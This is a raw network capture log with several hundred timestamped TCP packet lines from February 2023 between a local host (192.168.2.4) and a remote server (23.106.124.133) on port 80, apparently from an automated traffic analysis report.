Feb 16, 2023 10:01:29.165873051 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.213316917 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.213365078 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.213391066 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.213417053 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.213442087 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.213466883 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.213486910 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.213510990 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.213687897 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.340468884 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.340538025 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.340568066 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.340594053 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.340622902 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.340650082 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.340682030 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.340709925 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.340715885 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.340740919 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.340768099 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.340774059 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.340810061 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.340828896 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.340842009 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.340874910 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.340882063 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.340905905 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.340938091 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.340953112 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.340970993 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.341002941 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.341016054 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.341037035 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.341068029 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.341079950 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.341101885 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.341134071 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.341145992 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.341166019 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.341197014 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.341207981 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.341229916 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.341262102 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.341269970 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.341296911 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.341326952 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.341336012 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.341358900 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.341391087 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.341399908 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.341422081 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.341453075 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.341460943 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.341484070 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.341514111 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.341522932 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.341543913 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.341581106 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.341598988 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.341608047 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.341635942 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.341646910 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.341659069 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.341685057 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.341707945 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.341711044 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.341738939 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.341759920 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.341780901 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.341789007 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.341809034 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.341814041 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.341860056 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.388509035 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.388595104 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.388628960 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.388674021 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.388712883 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.388753891 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.388777971 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.388794899 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.388843060 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.388880014 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.388917923 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.516496897 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.516582966 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.516613007 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.516635895 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.516659975 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.516685963 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.516710997 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.516716003 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.516736031 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.516762972 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.516792059 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.516798019 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.516819954 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.516825914 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.516849995 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.516859055 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.516879082 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.516907930 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.516925097 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.516940117 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.516957045 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.516969919 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.517003059 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.517033100 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.517033100 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.517066002 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.517097950 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.517101049 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.517131090 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.517144918 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.517163992 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.517195940 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.517218113 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.517225981 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.517256975 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.517272949 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.517287970 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.517319918 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.517334938 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.517354012 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.517385960 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.517400980 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.517416000 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.517447948 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.517462015 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.517479897 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.517513990 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.517528057 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.517544985 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.517575979 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.517596006 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.517605066 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.517632961 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.517653942 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.517661095 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.517689943 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.517705917 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.517716885 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.517754078 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.517767906 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.517780066 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.517807961 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.517824888 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.517834902 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.517882109 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.564778090 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.564850092 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.564874887 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.564899921 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.564923048 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.564945936 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.564969063 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.564992905 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.565016985 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.565016985 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.565120935 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.692610025 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.692665100 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.692688942 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.692711115 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.692737103 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.692760944 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.692785025 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.692791939 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.692809105 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.692838907 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.692862988 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.692867041 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.692892075 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.692897081 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.692925930 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.692941904 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.692955017 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.692982912 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.692995071 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.693010092 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.693036079 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.693048000 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.693062067 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.693088055 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.693099022 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.693114996 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.693144083 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.693151951 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.693171024 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.693197012 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.693207979 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.693223000 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.693249941 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.693259001 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.693275928 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.693301916 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.693314075 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.693329096 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.693355083 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.693367004 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.693382025 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.693409920 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.693419933 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.693437099 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.693463087 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.693474054 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.693490028 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.693516016 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.693537951 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.693543911 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.693569899 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.693583012 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.693598032 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.693624973 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.693635941 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.693650961 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.693676949 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.693689108 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.693703890 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.693728924 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.693739891 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.693756104 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.693793058 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.739734888 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.739797115 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.739823103 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.739845991 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.739870071 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.739896059 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.739912033 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.739919901 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.739945889 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.739970922 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.739995003 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.868464947 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.868546009 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.868572950 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.868594885 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.868616104 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.868639946 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.868664980 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.868671894 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.868690014 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.868716002 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.868729115 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.868748903 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.868768930 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.868779898 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.868792057 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.868808985 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.868839025 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.868864059 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.868869066 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.868891001 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.868908882 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.868920088 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.868953943 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.868979931 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.868983984 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.869008064 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.869019032 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.869039059 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.869071007 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.869090080 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.869097948 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.869129896 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.869138002 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.869160891 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.869189978 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.869196892 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.869220018 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.869252920 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.869271994 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.869278908 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.869307995 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.869318008 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.869337082 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.869368076 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.869389057 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.869395018 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.869426012 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.869435072 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.869453907 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.869482994 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.869494915 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.869509935 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.869539976 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.869549990 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.869566917 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.869596004 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.869604111 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.869626045 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.869652033 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.869662046 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.869682074 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.869712114 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.869733095 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.869739056 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.869779110 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.914797068 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.914855957 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.914881945 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.914907932 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.914933920 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.914963007 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.914968014 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.914992094 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.915024042 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.915030003 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.915056944 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.915090084 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.915090084 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.915132046 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.927027941 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.044447899 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.044523954 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.044548988 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.044573069 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.044598103 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.044621944 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.044648886 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.044672966 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.044677973 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.044698954 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.044724941 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.044749975 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.044750929 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.044773102 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.044780970 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.044809103 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.044821978 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.044836044 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.044879913 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.044891119 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.044908047 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.044935942 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.044955015 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:30.044964075 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:30.044991016 CET	80	49698	23.106.124.133	192.168.2.4
